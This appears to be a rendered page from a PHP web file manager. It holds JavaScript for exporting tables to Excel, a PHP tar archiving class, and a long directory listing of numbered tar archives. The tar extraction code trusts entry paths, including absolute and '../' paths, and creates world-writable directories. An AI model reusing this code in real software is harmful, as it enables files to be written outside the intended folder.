    template = '<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if gte mso 9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta http-equiv="content-type" content="text/plain; charset=UTF-8"/></head><body><table>{table}</table></body></html>',

    format = function(s, c) {

            return s.replace(/{(\w+)}/g, function(m, p) {
                return c[p];

            })

        }

    return function(table, name) {
        
        if (!table.nodeType) table = document.getElementById(table)
          
        var ctx = {
            
            worksheet: name || 'Worksheet',

            table: table.innerHTML.replace(/<span(.*?)\/span> /g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1")
        }
        
	  	  t = new Date();
        
	  	  filename = 'fm_' + t.toISOString() + '.xls'

	  	  download_xls(filename, base64_encode(format(template, ctx)))

    }

})();

          
var table2Excel = function () {


    var ua = window.navigator.userAgent;
    var msie = ua.indexOf("MSIE ");



	  this.CreateExcelSheet = 

	  	  function(el, name){
           
	  	  	  if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {// If Internet Explorer



	  	  	  	  var x = document.getElementById(el).rows;



	  	  	  	  var xls = new ActiveXObject("Excel.Application");



	  	  	  	  xls.visible = true;

	  	  	  	  xls.Workbooks.Add
	  	  	  	  for (i = 0; i < x.length; i++) {

	  	  	  	  	  var y = x[i].cells;


	  	  	  	  	  for (j = 0; j < y.length; j++) {
           
	  	  	  	  	  	  xls.Cells(i + 1, j + 1).Value = y[j].innerText;
          
	  	  	  	  	  }

	  	  	  	  }
	  	  	  	  xls.Visible = true;
	  	  	  	  xls.UserControl = true;

	  	  	  	  return xls;
	  	  	  } else {
       
	  	  	  	  tableToExcelData(el, name);
	  	  	  }
	  	  }

}

</script>

</body>
</html>

       
<?php
//Ported from ReloadCMS project http://reloadcms.com
         
class archiveTar {
	  var $archiv_name = '';
	  var $temporare_datei = 0;

	  var $datei_position = 0;

	  var $ist_gzip = true;

	  var $fehler = array();

	  var $dateien = array();
        
	  
        
	  function __construct(){

	  	  if (!isset($this->fehler)) $this->fehler = array();

	  }

	  
            
	  function archiv_erstellen($file_list){

	  	  $result = false;
          
	  	  if (file_exists($this->archiv_name) && is_file($this->archiv_name)) 	  $newArchive = false;
         
	  	  else $newArchive = true;

	  	  if ($newArchive){
	  	  	  if (!$this->schreiben_offnen()) return false;

	  	  } else {
	  	  	  if (dateienize($this->archiv_name) == 0)	  return $this->schreiben_offnen();
           
	  	  	  if ($this->ist_gzip) {

	  	  	  	  $this->temp_datei_schliessen();
	  	  	  	  if (!rename($this->archiv_name, $this->archiv_name.'.tmp')){

	  	  	  	  	  $this->fehler[] = __('Cannot rename').' '.$this->archiv_name.__(' to ').$this->archiv_name.'.tmp';

	  	  	  	  	  return false;

	  	  	  	  }

	  	  	  	  $tmpArchive = gzopen($this->archiv_name.'.tmp', 'rb');

	  	  	  	  if (!$tmpArchive){
	  	  	  	  	  $this->fehler[] = $this->archiv_name.'.tmp '.__('is not readable');

	  	  	  	  	  rename($this->archiv_name.'.tmp', $this->archiv_name);

	  	  	  	  	  return false;
	  	  	  	  }

	  	  	  	  if (!$this->schreiben_offnen()){
          
	  	  	  	  	  rename($this->archiv_name.'.tmp', $this->archiv_name);

	  	  	  	  	  return false;

	  	  	  	  }

	  	  	  	  $buffer = gzread($tmpArchive, 512);
       
	  	  	  	  if (!gzeof($tmpArchive)){

	  	  	  	  	  do {
           
	  	  	  	  	  	  $binaryData = pack('a512', $buffer);
	  	  	  	  	  	  $this->block_schreiben($binaryData);
       
	  	  	  	  	  	  $buffer = gzread($tmpArchive, 512);

	  	  	  	  	  }
	  	  	  	  	  while (!gzeof($tmpArchive));

	  	  	  	  }
	  	  	  	  gzclose($tmpArchive);
	  	  	  	  unlink($this->archiv_name.'.tmp');

	  	  	  } else {
	  	  	  	  $this->temporare_datei = fopen($this->archiv_name, 'r+b');

	  	  	  	  if (!$this->temporare_datei)	  return false;
	  	  	  }

	  	  }

	  	  if (isset($file_list) && is_array($file_list)) {
        
	  	  if (count($file_list)>0)

	  	  	  $result = $this->dateien_packen($file_list);

	  	  } else $this->fehler[] = __('No file').__(' to ').__('Archive');
	  	  if (($result)&&(is_resource($this->temporare_datei))){
           
	  	  	  $binaryData = pack('a512', '');
            
	  	  	  $this->block_schreiben($binaryData);

	  	  }
        
	  	  $this->temp_datei_schliessen();

	  	  if ($newArchive && !$result){
       
	  	  $this->temp_datei_schliessen();

	  	  unlink($this->archiv_name);
          
	  	  }
	  	  return $result;

	  }


            
	  function archiv_wiederherstellen($path_share){

	  	  $fileName = $this->archiv_name;
        
	  	  if (!$this->ist_gzip){

	  	  	  if (file_exists($fileName)){

	  	  	  	  if ($fp = fopen($fileName, 'rb')){
       
	  	  	  	  	  $data = fread($fp, 2);
          
	  	  	  	  	  fclose($fp);
            
	  	  	  	  	  if ($data == '\37\213'){

	  	  	  	  	  	  $this->ist_gzip = true;

	  	  	  	  	  }
          
	  	  	  	  }
       
	  	  	  }
        
	  	  	  elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->ist_gzip = true;
         
	  	  } 
           
	  	  $result = true;
	  	  if ($this->ist_gzip) $this->temporare_datei = gzopen($fileName, 'rb');

	  	  else $this->temporare_datei = fopen($fileName, 'rb');
	  	  if (!$this->temporare_datei){

	  	  	  $this->fehler[] = $fileName.' '.__('is not readable');
           
	  	  	  return false;

	  	  }
	  	  $result = $this->undateien_packen($path_share);
	  	  	  $this->temp_datei_schliessen();

	  	  return $result;
         
	  }


	  function fehler_anzeigen	  ($message = '') {

	  	  $Errors = $this->fehler;
	  	  if(count($Errors)>0) {

	  	  if (!empty($message)) $message = ' ('.$message.')';
        
	  	  	  $message = __('Error occurred').$message.': <br/>';

	  	  	  foreach ($Errors as $value)

	  	  	  	  $message .= $value.'<br/>';

	  	  	  return $message;	  
       
	  	  } else return '';
	  	  
          
	  }
	  

	  function dateien_packen($file_array){
        
	  	  $result = true;
	  	  if (!$this->temporare_datei){
         
	  	  	  $this->fehler[] = __('Invalid file descriptor');

	  	  	  return false;
            
	  	  }

	  	  if (!is_array($file_array) || count($file_array)<=0)
         
          return true;
         
	  	  for ($i = 0; $i<count($file_array); $i++){
	  	  	  $filename = $file_array[$i];

	  	  	  if ($filename == $this->archiv_name)

	  	  	  	  continue;
            
	  	  	  if (strlen($filename)<=0)

	  	  	  	  continue;
	  	  	  if (!file_exists($filename)){

	  	  	  	  $this->fehler[] = __('No file').' '.$filename;
        
	  	  	  	  continue;
	  	  	  }
            
	  	  	  if (!$this->temporare_datei){
	  	  	  $this->fehler[] = __('Invalid file descriptor');
	  	  	  return false;

	  	  	  }
	  	  if (strlen($filename)<=0){

	  	  	  $this->fehler[] = __('Filename').' '.__('is incorrect');;
	  	  	  return false;

	  	  }

	  	  $filename = str_replace('\\', '/', $filename);

	  	  $keep_filename = $this->pfad_korrigieren($filename);

	  	  if (is_file($filename)){
	  	  	  if (($file = fopen($filename, 'rb')) == 0){

	  	  	  	  $this->fehler[] = __('Mode ').__('is incorrect');
	  	  	  }
	  	  	  	  if(($this->datei_position == 0)){

	  	  	  	  	  if(!$this->kopfzeile_schreiben($filename, $keep_filename))
	  	  	  	  	  	  return false;
	  	  	  	  }

	  	  	  	  while (($buffer = fread($file, 512)) != ''){

	  	  	  	  	  $binaryData = pack('a512', $buffer);

	  	  	  	  	  $this->block_schreiben($binaryData);
	  	  	  	  }
	  	  	  fclose($file);

	  	  }	  else $this->kopfzeile_schreiben($filename, $keep_filename);
       
	  	  	  if (@is_dir($filename)){
       
	  	  	  	  if (!($handle = opendir($filename))){

	  	  	  	  	  $this->fehler[] = __('Error').': '.__('Directory ').$filename.__('is not readable');

	  	  	  	  	  continue;
	  	  	  	  }

	  	  	  	  while (false !== ($dir = readdir($handle))){
	  	  	  	  	  if ($dir!='.' && $dir!='..'){
	  	  	  	  	  	  $file_array_tmp = array();

	  	  	  	  	  	  if ($filename != '.')
	  	  	  	  	  	  	  $file_array_tmp[] = $filename.'/'.$dir;
	  	  	  	  	  	  else

	  	  	  	  	  	  	  $file_array_tmp[] = $dir;


           
	  	  	  	  	  	  $result = $this->dateien_packen($file_array_tmp);
            
	  	  	  	  	  }

	  	  	  	  }

	  	  	  	  unset($file_array_tmp);
       
	  	  	  	  unset($dir);
	  	  	  	  unset($handle);

	  	  	  }

	  	  }

	  	  return $result;

	  }
           

	  function undateien_packen($path_share){ 

	  	  $path_share = str_replace('\\', '/', $path_share);
	  	  if ($path_share == ''	  || (substr($path_share, 0, 1) != '/' && substr($path_share, 0, 3) != '../' && !strpos($path_share, ':')))	  $path_share = './'.$path_share;
            
	  	  clearstatcache();
           
	  	  while (strlen($binaryData = $this->block_lesen()) != 0){

	  	  	  if (!$this->kopfzeile_lesen($binaryData, $header)) return false;
	  	  	  if ($header['filename'] == '') continue;
            
	  	  	  if ($header['typeflag'] == 'L'){	  	  	  //reading long header

	  	  	  	  $filename = '';
         
	  	  	  	  $decr = floor($header['size']/512);

	  	  	  	  for ($i = 0; $i < $decr; $i++){

	  	  	  	  	  $content = $this->block_lesen();

	  	  	  	  	  $filename .= $content;
	  	  	  	  }

	  	  	  	  if (($laspiece = $header['size'] % 512) != 0){

	  	  	  	  	  $content = $this->block_lesen();
           
	  	  	  	  	  $filename .= substr($content, 0, $laspiece);
         
	  	  	  	  }

	  	  	  	  $binaryData = $this->block_lesen();

	  	  	  	  if (!$this->kopfzeile_lesen($binaryData, $header)) return false;

	  	  	  	  else $header['filename'] = $filename;

	  	  	  	  return true;

	  	  	  }

	  	  	  if (($path_share != './') && ($path_share != '/')){
       
	  	  	  	  while (substr($path_share, -1) == '/') $path_share = substr($path_share, 0, strlen($path_share)-1);

	  	  	  	  if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path_share.$header['filename'];

	  	  	  	  else $header['filename'] = $path_share.'/'.$header['filename'];
	  	  	  }

	  	  	  
	  	  	  if (file_exists($header['filename'])){

	  	  	  	  if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){

	  	  	  	  	  $this->fehler[] =__('File ').$header['filename'].__(' already exists').__(' as folder');

	  	  	  	  	  return false;
       
	  	  	  	  }

	  	  	  	  if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){

	  	  	  	  	  $this->fehler[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
	  	  	  	  	  return false;

	  	  	  	  }
	  	  	  	  if (!is_writeable($header['filename'])){
	  	  	  	  	  $this->fehler[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
        
	  	  	  	  	  return false;

	  	  	  	  }
	  	  	  } elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
           
	  	  	  	  $this->fehler[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
           
	  	  	  	  return false;
	  	  	  }



	  	  	  if ($header['typeflag'] == '5'){

	  	  	  	  if (!file_exists($header['filename']))	  	  {
        
	  	  	  	  	  if (!mkdir($header['filename'], 0777))	  {

	  	  	  	  	  	  
         
	  	  	  	  	  	  $this->fehler[] = __('Cannot create directory').' '.$header['filename'];
	  	  	  	  	  	  return false;
	  	  	  	  	  } 

	  	  	  	  }

	  	  	  } else {
          
	  	  	  	  if (($destination = fopen($header['filename'], 'wb')) == 0) {
         
	  	  	  	  	  $this->fehler[] = __('Cannot write to file').' '.$header['filename'];
	  	  	  	  	  return false;
         
	  	  	  	  } else {

	  	  	  	  	  $decr = floor($header['size']/512);

	  	  	  	  	  for ($i = 0; $i < $decr; $i++) {

	  	  	  	  	  	  $content = $this->block_lesen();
        
	  	  	  	  	  	  fwrite($destination, $content, 512);

	  	  	  	  	  }
          
	  	  	  	  	  if (($header['size'] % 512) != 0) {
       
	  	  	  	  	  	  $content = $this->block_lesen();

	  	  	  	  	  	  fwrite($destination, $content, ($header['size'] % 512));
	  	  	  	  	  }
	  	  	  	  	  fclose($destination);

	  	  	  	  	  touch($header['filename'], $header['time']);

	  	  	  	  }
	  	  	  	  clearstatcache();
	  	  	  	  if (dateienize($header['filename']) != $header['size']) {

	  	  	  	  	  $this->fehler[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');

	  	  	  	  	  return false;
	  	  	  	  }
          
	  	  	  }

	  	  	  if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';

	  	  	  if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';

	  	  	  $this->dirs[] = $file_dir;

	  	  	  $this->dateien[] = $header['filename'];

	  
	  	  }
	  	  return true;

	  }


          
	  function dirCheck($dir){
       
	  	  $parent_dir = dirname($dir);


            
	  	  if ((@is_dir($dir)) or ($dir == ''))

	  	  	  return true;


	  	  if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
          
	  	  	  return false;
            


	  	  if (!mkdir($dir, 0777)){

	  	  	  $this->fehler[] = __('Cannot create directory').' '.$dir;

	  	  	  return false;
       
	  	  }

	  	  return true;
	  }
          

	  function kopfzeile_lesen($binaryData, &$header){

	  	  if (strlen($binaryData)==0){
	  	  	  $header['filename'] = '';
         
	  	  	  return true;
         
	  	  }
        

          
	  	  if (strlen($binaryData) != 512){
	  	  	  $header['filename'] = '';
         
	  	  	  $this->__('Invalid block size').': '.strlen($binaryData);
       
	  	  	  return false;

	  	  }


	  	  $prufsumme = 0;

	  	  for ($i = 0; $i < 148; $i++) $prufsumme+=ord(substr($binaryData, $i, 1));

	  	  for ($i = 148; $i < 156; $i++) $prufsumme += ord(' ');
	  	  for ($i = 156; $i < 512; $i++) $prufsumme+=ord(substr($binaryData, $i, 1));
            


	  	  $unpack_data = unpack('a100filename/a8mode/a8benutzer_id/a8group_id/a12size/a12time/a8prufsumme/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);


          
	  	  $header['prufsumme'] = OctDec(trim($unpack_data['prufsumme']));
         
	  	  if ($header['prufsumme'] != $prufsumme){

	  	  	  $header['filename'] = '';
          
	  	  	  if (($prufsumme == 256) && ($header['prufsumme'] == 0)) 	  return true;

	  	  	  $this->fehler[] = __('Error prufsumme for file ').$unpack_data['filename'];
            
	  	  	  return false;
	  	  }



	  	  if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	  $header['size'] = 0;

	  	  $header['filename'] = trim($unpack_data['filename']);

	  	  $header['mode'] = OctDec(trim($unpack_data['mode']));
           
	  	  $header['benutzer_id'] = OctDec(trim($unpack_data['benutzer_id']));
        
	  	  $header['group_id'] = OctDec(trim($unpack_data['group_id']));
	  	  $header['size'] = OctDec(trim($unpack_data['size']));

	  	  $header['time'] = OctDec(trim($unpack_data['time']));

	  	  return true;

	  }
           

	  function kopfzeile_schreiben($filename, $keep_filename){
	  	  $packF = 'a100a8a8a8a12A12';
           
	  	  $packL = 'a1a100a6a2a32a32a8a8a155a12';
            
	  	  if (strlen($keep_filename)<=0) $keep_filename = $filename;
	  	  $filename_ready = $this->pfad_korrigieren($keep_filename);

          
	  	  if (strlen($filename_ready) > 99){	  	  	  	  	  	  	  //write long header

	  	  $dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);

	  	  $dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');



        //  Calculate the prufsumme

	  	  $prufsumme = 0;
        
        //  First part of the header

	  	  for ($i = 0; $i < 148; $i++)
	  	  	  $prufsumme += ord(substr($dataFirst, $i, 1));

        //  Ignore the prufsumme value and replace it by ' ' (space)
            
	  	  for ($i = 148; $i < 156; $i++)
       
	  	  	  $prufsumme += ord(' ');
        //  Last part of the header

	  	  for ($i = 156, $j=0; $i < 512; $i++, $j++)
       
	  	  	  $prufsumme += ord(substr($dataLast, $j, 1));

        //  Write the first 148 bytes of the header in the archive

	  	  $this->block_schreiben($dataFirst, 148);

        //  Write the calculated prufsumme
        
	  	  $prufsumme = sprintf('%6s ', DecOct($prufsumme));
	  	  $binaryData = pack('a8', $prufsumme);
	  	  $this->block_schreiben($binaryData, 8);
            
        //  Write the last 356 bytes of the header in the archive
	  	  $this->block_schreiben($dataLast, 356);


	  	  $temporare_dateiname = $this->pfad_korrigieren($filename_ready);



	  	  $i = 0;
        
	  	  	  while (($buffer = substr($temporare_dateiname, (($i++)*512), 512)) != ''){

	  	  	  	  $binaryData = pack('a512', $buffer);

	  	  	  	  $this->block_schreiben($binaryData);
	  	  	  }

	  	  return true;
            
	  	  }

	  	  $file_info = stat($filename);
         
	  	  if (@is_dir($filename)){
	  	  	  $typeflag = '5';
	  	  	  $size = sprintf('%11s ', DecOct(0));
	  	  } else {
          
	  	  	  $typeflag = '';

	  	  	  clearstatcache();
           
	  	  	  $size = sprintf('%11s ', DecOct(dateienize($filename)));
	  	  }
	  	  $dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));

	  	  $dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
	  	  $prufsumme = 0;

	  	  for ($i = 0; $i < 148; $i++) $prufsumme += ord(substr($dataFirst, $i, 1));
	  	  for ($i = 148; $i < 156; $i++) $prufsumme += ord(' ');

	  	  for ($i = 156, $j = 0; $i < 512; $i++, $j++) $prufsumme += ord(substr($dataLast, $j, 1));

	  	  $this->block_schreiben($dataFirst, 148);
       
	  	  $prufsumme = sprintf('%6s ', DecOct($prufsumme));
	  	  $binaryData = pack('a8', $prufsumme);

	  	  $this->block_schreiben($binaryData, 8);

	  	  $this->block_schreiben($dataLast, 356);
	  	  return true;

	  }

	  function schreiben_offnen(){

	  	  if ($this->ist_gzip)
	  	  	  $this->temporare_datei = gzopen($this->archiv_name, 'wb9f');
	  	  else

	  	  	  $this->temporare_datei = fopen($this->archiv_name, 'wb');
       


	  	  if (!($this->temporare_datei)){

	  	  	  $this->fehler[] = __('Cannot write to file').' '.$this->archiv_name;
            
	  	  	  return false;
       
	  	  }
           
	  	  return true;

	  }


	  function block_lesen(){

	  	  if (is_resource($this->temporare_datei)){

	  	  	  if ($this->ist_gzip)

	  	  	  	  $block = gzread($this->temporare_datei, 512);

	  	  	  else

	  	  	  	  $block = fread($this->temporare_datei, 512);

	  	  } else	  $block = '';


	  	  return $block;
	  }
        


	  function block_schreiben($data, $length = 0){
       
	  	  if (is_resource($this->temporare_datei)){
	  	  
       
	  	  	  if ($length === 0){

	  	  	  	  if ($this->ist_gzip)
           
	  	  	  	  	  gzputs($this->temporare_datei, $data);

	  	  	  	  else
	  	  	  	  	  fputs($this->temporare_datei, $data);
            
	  	  	  } else {

	  	  	  	  if ($this->ist_gzip)
       
	  	  	  	  	  gzputs($this->temporare_datei, $data, $length);
	  	  	  	  else

	  	  	  	  	  fputs($this->temporare_datei, $data, $length);

	  	  	  }

	  	  }

	  }


	  function temp_datei_schliessen(){

	  	  if (is_resource($this->temporare_datei)){

	  	  	  if ($this->ist_gzip)
            
	  	  	  	  gzclose($this->temporare_datei);

	  	  	  else

	  	  	  	  fclose($this->temporare_datei);


	  	  	  $this->temporare_datei = 0;

	  	  }

	  }


	  function pfad_korrigieren($path_share){

	  	  if (strlen($path_share)>0){

	  	  	  $path_share = str_replace('\\', '/', $path_share);
	  	  	  $partPath = explode('/', $path_share);

	  	  	  $els = count($partPath)-1;

	  	  	  for ($i = $els; $i>=0; $i--){
	  	  	  	  if ($partPath[$i] == '.'){
                    //  Ignore this directory

                } elseif ($partPath[$i] == '..'){

                    $i--;

                }
	  	  	  	  elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){

                }	  else
            
	  	  	  	  	  $result = $partPath[$i].($i!=$els ? '/'.$result : '');

	  	  	  }
            
	  	  } else $result = '';
	  	  
	  	  return $result;

	  }
}
?>

Filemanager

Name Type Size Permission Actions
1.tar File 105.5 KB 0644
1.tar.gz File 24.98 KB 0644
100.tar File 278 KB 0644
100.tar.gz File 272.2 KB 0644
102.tar File 78 KB 0644
102.tar.gz File 72.34 KB 0644
103.tar File 17.5 KB 0644
103.tar.gz File 12.97 KB 0644
105.tar File 95.5 KB 0644
105.tar.gz File 85.97 KB 0644
107.tar File 413 KB 0644
107.tar.gz File 373.69 KB 0644
109.tar File 17.5 KB 0644
109.tar.gz File 12.97 KB 0644
110.tar File 17.5 KB 0644
110.tar.gz File 12.97 KB 0644
111.tar File 524 KB 0644
111.tar.gz File 505.27 KB 0644
112.tar File 649.5 KB 0644
112.tar.gz File 389.74 KB 0644
113.tar File 379.5 KB 0644
113.tar.gz File 358.84 KB 0644
114.tar File 133 KB 0644
114.tar.gz File 128.07 KB 0644
115.tar File 767 KB 0644
115.tar.gz File 284.5 KB 0644
116.tar File 17.5 KB 0644
116.tar.gz File 12.97 KB 0644
118.tar File 318.5 KB 0644
118.tar.gz File 309.97 KB 0644
119.tar File 276 KB 0644
119.tar.gz File 271.12 KB 0644
12.tar File 2.76 MB 0644
12.tar.gz File 794.09 KB 0644
120.tar File 119.5 KB 0644
120.tar.gz File 107.65 KB 0644
121.tar File 274.5 KB 0644
121.tar.gz File 264.73 KB 0644
122.tar File 258.5 KB 0644
122.tar.gz File 245.23 KB 0644
123.tar File 17.5 KB 0644
123.tar.gz File 12.97 KB 0644
124.tar File 470.5 KB 0644
124.tar.gz File 463.63 KB 0644
125.tar File 111.5 KB 0644
125.tar.gz File 102.25 KB 0644
126.tar File 250.5 KB 0644
126.tar.gz File 235.69 KB 0644
127.tar File 679.5 KB 0644
127.tar.gz File 669.58 KB 0644
128.tar File 195.5 KB 0644
128.tar.gz File 188.81 KB 0644
129.tar File 161.5 KB 0644
129.tar.gz File 159.06 KB 0644
130.tar File 34 KB 0644
130.tar.gz File 20.44 KB 0644
133.tar File 640.5 KB 0644
133.tar.gz File 634.58 KB 0644
137.tar File 2 KB 0644
137.tar.gz File 191 B 0644
139.tar File 22.5 KB 0644
139.tar.gz File 785 B 0644
14.tar File 687 KB 0644
14.tar.gz File 677.2 KB 0644
142.tar File 245.5 KB 0644
142.tar.gz File 237.96 KB 0644
143.tar File 175.5 KB 0644
143.tar.gz File 159.09 KB 0644
147.tar File 124 KB 0644
147.tar.gz File 56.14 KB 0644
15.tar File 560.5 KB 0644
15.tar.gz File 553.4 KB 0644
150.tar File 420 KB 0644
150.tar.gz File 318.87 KB 0644
152.tar File 94 KB 0644
152.tar.gz File 84.78 KB 0644
153.tar File 94 KB 0644
153.tar.gz File 84.65 KB 0644
157.tar File 1.29 GB 0644
157.tar.gz File 1.17 GB 0644
16.tar File 666.5 KB 0644
16.tar.gz File 656.57 KB 0644
163.tar File 192 KB 0644
163.tar.gz File 141.91 KB 0644
181.tar File 34 KB 0644
181.tar.gz File 20.45 KB 0644
182.tar File 34 KB 0644
182.tar.gz File 20.44 KB 0644
184.tar File 35 KB 0644
184.tar.gz File 20.81 KB 0644
185.tar File 442 KB 0644
185.tar.gz File 439.62 KB 0644
186.tar File 1.23 MB 0644
186.tar.gz File 1.2 MB 0644
188.tar File 212 KB 0644
188.tar.gz File 200.36 KB 0644
189.tar File 360.5 KB 0644
189.tar.gz File 353.55 KB 0644
191.tar File 770 KB 0644
191.tar.gz File 710.99 KB 0644
193.tar File 133 KB 0644
193.tar.gz File 128.19 KB 0644
194.tar File 134.5 KB 0644
194.tar.gz File 131.12 KB 0644
195.tar File 144.5 KB 0644
195.tar.gz File 141.63 KB 0644
197.tar File 63 KB 0644
197.tar.gz File 57.25 KB 0644
199.tar File 105 KB 0644
199.tar.gz File 96.86 KB 0644
202.tar File 1.15 MB 0644
202.tar.gz File 1.07 MB 0644
207.tar File 1.24 MB 0644
207.tar.gz File 1.22 MB 0644
209.tar File 1.24 MB 0644
209.tar.gz File 1.21 MB 0644
21.tar File 2 KB 0644
21.tar.gz File 193 B 0644
218.tar File 2 KB 0644
218.tar.gz File 265 B 0644
219.tar File 777 KB 0644
219.tar.gz File 768.04 KB 0644
22.tar File 2 KB 0644
22.tar.gz File 382 B 0644
224.tar File 144 KB 0644
224.tar.gz File 134.38 KB 0644
225.tar File 98 KB 0644
225.tar.gz File 90.75 KB 0644
226.tar File 78 KB 0644
226.tar.gz File 71.83 KB 0644
227.tar File 78.5 KB 0644
227.tar.gz File 72.13 KB 0644
228.tar File 528 KB 0644
228.tar.gz File 519.7 KB 0644
23.tar File 63 KB 0644
23.tar.gz File 61.6 KB 0644
232.tar File 103 KB 0644
232.tar.gz File 95.94 KB 0644
24.tar File 3.5 KB 0644
24.tar.gz File 1.75 KB 0644
242.tar File 218 KB 0644
242.tar.gz File 211.43 KB 0644
243.tar File 300 KB 0644
243.tar.gz File 256.98 KB 0644
245.tar File 643 KB 0644
245.tar.gz File 572.92 KB 0644
247.tar File 453 KB 0644
247.tar.gz File 446.56 KB 0644
250.tar File 452.5 KB 0644
250.tar.gz File 446.15 KB 0644
253.tar File 77.5 KB 0644
253.tar.gz File 72.01 KB 0644
257.tar File 210.5 KB 0644
257.tar.gz File 155.84 KB 0644
26.tar File 731 KB 0644
26.tar.gz File 421.55 KB 0644
280.tar File 217 KB 0644
280.tar.gz File 210.62 KB 0644
281.tar File 42.5 KB 0644
281.tar.gz File 39.09 KB 0644
285.tar File 279 KB 0644
285.tar.gz File 270.59 KB 0644
289.tar File 247.5 KB 0644
289.tar.gz File 240.06 KB 0644
29.tar File 139 KB 0644
29.tar.gz File 131.11 KB 0644
295.tar File 280 KB 0644
295.tar.gz File 265.36 KB 0644
300.tar File 546.5 KB 0644
300.tar.gz File 325.93 KB 0644
302.tar File 552.5 KB 0644
302.tar.gz File 329.59 KB 0644
303.tar File 285.5 KB 0644
303.tar.gz File 280.4 KB 0644
304.tar File 281 KB 0644
304.tar.gz File 275.78 KB 0644
307.tar File 80.5 KB 0644
307.tar.gz File 74.9 KB 0644
31.tar File 163 KB 0644
31.tar.gz File 156.47 KB 0644
314.tar File 103.5 KB 0644
314.tar.gz File 99.17 KB 0644
317.tar File 747 KB 0644
317.tar.gz File 718.43 KB 0644
319.tar File 50 KB 0644
319.tar.gz File 43.72 KB 0644
32.tar File 2 KB 0644
32.tar.gz File 191 B 0644
320.tar File 105.5 KB 0644
320.tar.gz File 97.6 KB 0644
321.tar File 80 KB 0644
321.tar.gz File 40.95 KB 0644
322.tar File 75.5 KB 0644
322.tar.gz File 39.81 KB 0644
323.tar File 82 KB 0644
323.tar.gz File 41.49 KB 0644
324.tar File 76 KB 0644
325.tar File 75.5 KB 0644
325.tar.gz File 39.79 KB 0644
329.tar File 75.5 KB 0644
329.tar.gz File 39.76 KB 0644
33.tar File 21 KB 0644
33.tar.gz File 9.77 KB 0644
333.tar File 302.5 KB 0644
333.tar.gz File 294.11 KB 0644
337.zip File 387 B 0644
342.tar File 104.5 KB 0644
342.tar.gz File 96.29 KB 0644
343.tar File 89.5 KB 0644
343.tar.gz File 82.33 KB 0644
345.tar File 103.5 KB 0644
345.tar.gz File 95.18 KB 0644
35.tar File 2 KB 0644
35.tar.gz File 193 B 0644
353.tar File 242 KB 0644
353.tar.gz File 183.88 KB 0644
356.tar File 97.5 KB 0644
356.tar.gz File 88.44 KB 0644
357.tar File 104.5 KB 0644
357.tar.gz File 96.57 KB 0644
39.tar File 2 KB 0644
39.tar.gz File 191 B 0644
40.tar File 278 KB 0644
40.tar.gz File 272.12 KB 0644
43.tar File 189.5 KB 0644
43.tar.gz File 184.6 KB 0644
44.tar File 380.5 KB 0644
44.tar.gz File 373.6 KB 0644
45.tar File 293 KB 0644
45.tar.gz File 271.07 KB 0644
46.tar File 2.74 MB 0644
46.tar.gz File 2.33 MB 0644
47.tar File 289.5 KB 0644
47.tar.gz File 274.21 KB 0644
49.tar File 273 KB 0644
49.tar.gz File 264.48 KB 0644
5.tar File 197 KB 0644
5.tar.gz File 78.13 KB 0644
52.tar File 307 KB 0644
52.tar.gz File 295.27 KB 0644
53.tar File 572.5 KB 0644
53.tar.gz File 556.63 KB 0644
54.tar File 141.5 KB 0644
54.tar.gz File 136.54 KB 0644
55.tar File 54.5 KB 0644
55.tar.gz File 48.55 KB 0644
56.tar File 54 KB 0644
56.tar.gz File 48.49 KB 0644
58.tar File 169 KB 0644
58.tar.gz File 161.92 KB 0644
59.tar File 410.5 KB 0644
59.tar.gz File 402.25 KB 0644
62.tar File 459 KB 0644
62.tar.gz File 456.34 KB 0644
68.tar File 581 KB 0644
68.tar.gz File 374.92 KB 0644
69.tar File 102.5 KB 0644
69.tar.gz File 75.95 KB 0644
7.tar File 55.5 KB 0644
7.tar.gz File 13.67 KB 0644
70.tar File 467.5 KB 0644
70.tar.gz File 399.08 KB 0644
72.tar File 34 KB 0644
72.tar.gz File 20.45 KB 0644
73.tar File 34 KB 0644
73.tar.gz File 20.45 KB 0644
75.tar File 277 KB 0644
75.tar.gz File 263.43 KB 0644
76.tar File 505.5 KB 0644
76.tar.gz File 493.78 KB 0644
77.tar File 107 KB 0644
77.tar.gz File 95.26 KB 0644
78.tar File 106 KB 0644
78.tar.gz File 95.03 KB 0644
79.tar File 1010.5 KB 0644
79.tar.gz File 718.34 KB 0644
80.tar File 112 KB 0644
80.tar.gz File 105.07 KB 0644
83.tar File 77.5 KB 0644
83.tar.gz File 72.3 KB 0644
85.tar File 1.03 MB 0644
85.tar.gz File 593.86 KB 0644
86.tar File 449.5 KB 0644
86.tar.gz File 340.91 KB 0644
